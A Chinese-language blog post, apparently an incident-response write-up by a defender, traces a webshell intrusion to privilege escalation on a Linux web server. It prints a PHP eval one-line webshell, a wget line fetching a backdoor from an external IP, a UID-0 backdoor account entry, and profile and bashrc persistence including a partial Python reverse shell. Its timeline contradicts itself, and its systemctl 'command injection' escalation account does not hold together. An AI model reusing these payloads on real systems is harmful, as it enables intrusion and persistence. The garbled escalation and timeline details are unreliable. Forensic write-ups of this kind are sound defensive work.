蓝队实战手记:从Webshell追踪到权限提升的完整应急响应复盘

张开发
2026/4/10 23:18:15 15 分钟阅读

分享文章

蓝队实战手记:从Webshell追踪到权限提升的完整应急响应复盘
1. 事件背景与初始发现那天下午3点27分我正在例行检查SIEM系统的告警面板突然发现某台Web服务器的访问日志出现异常。一条来自内网IP 192.168.16.43的POST请求引起了我的注意——这个IP不在我们的白名单列表里而且请求的是/admin/login.php这个敏感路径。我立即调出完整访问记录发现这个IP在15分钟内尝试了23次登录最终在23:20:21返回了302跳转状态码。经验告诉我这很可能是攻击者通过暴力破解成功进入了后台。更可疑的是在成功登录后5分钟同个IP又访问了pluginmgr.php页面传输数据包大小异常1037字节这明显是文件上传的特征。提示302状态码配合异常大小的POST请求往往是攻击者上传Webshell的重要特征。2. Webshell定位与取证分析2.1 日志关联分析通过交叉分析Apache访问日志和系统安全日志我锁定了几个关键时间点# 查找成功登录后的可疑请求 cat /var/log/apache2/access.log | grep 192.168.16.43 | awk -F[ {print $2} | sort -n发现攻击者在登录后依次访问了/admin/pluginmgr.php (文件上传)/plugins/cpg.php (首次访问)/logs/security.log.php (伪装日志文件)2.2 恶意文件检测使用D盾对web目录进行扫描在/var/www/html/plugins/目录下发现了cpg.php?php eval($_POST[m3]);?这个经典的一句话木马使用了PHP的eval函数攻击者可以通过POST参数m3执行任意代码。更隐蔽的是攻击者还创建了/var/www/html/plugins/./is.world这个可执行文件通过.profile文件实现持久化。2.3 流量包取证在/var/log/tcpdump/目录发现可疑的pcap文件用Wireshark分析发现攻击者执行了m3system(wget http://124.221.70.199:8889/is.world -O /tmp/.cache);这个远程下载的后门程序使用了动态DNS域名反查IP归属地显示为某云服务商。通过strings命令分析is.world发现其内置了反向连接功能strings /var/www/html/plugins/./is.world | grep connect3. 权限提升路径还原3.1 后门账户创建检查/etc/passwd时发现异常用户knowledgegraphd:x:0:0::/home/knowledgegraphd:/bin/bash这个UID为0的账户与root同级且主目录下存在.ssh/authorized_keys文件说明攻击者配置了SSH密钥登录。通过last命令发现该账户在凌晨2:15有过登录记录。3.2 持久化机制攻击者设置了双重持久化全局生效在/etc/profile末尾添加/var/www/html/plugins/./is.world Root专属在/root/.bashrc植入Python反弹shellpython -c import socket...[省略]...(/bin/sh,-i]);3.3 提权漏洞利用最终发现攻击者是通过sudoers配置漏洞完成提权www-data ALL(root) NOPASSWD: /bin/systemctl status apache2.service虽然看似只允许查看服务状态但攻击者利用systemctl的特性实现了命令注入sudo systemctl status apache2.service --no-pager | grep -A 10 Active:通过环境变量注入最终获取了完整的root权限。4. 防御措施与修复方案4.1 应急处理步骤隔离受影响服务器重置所有用户密码删除恶意账户和文件修复sudoers配置更新所有软件补丁4.2 长期防护建议实施最小权限原则启用文件完整性监控配置日志集中管理定期进行权限审计建立多层防御体系这次事件让我深刻体会到安全防御不是简单的技术堆砌而是需要建立完整的监控-响应-加固闭环。每个环节的疏忽都可能成为攻击者的突破口特别是在权限管理这种基础但关键的领域。

更多文章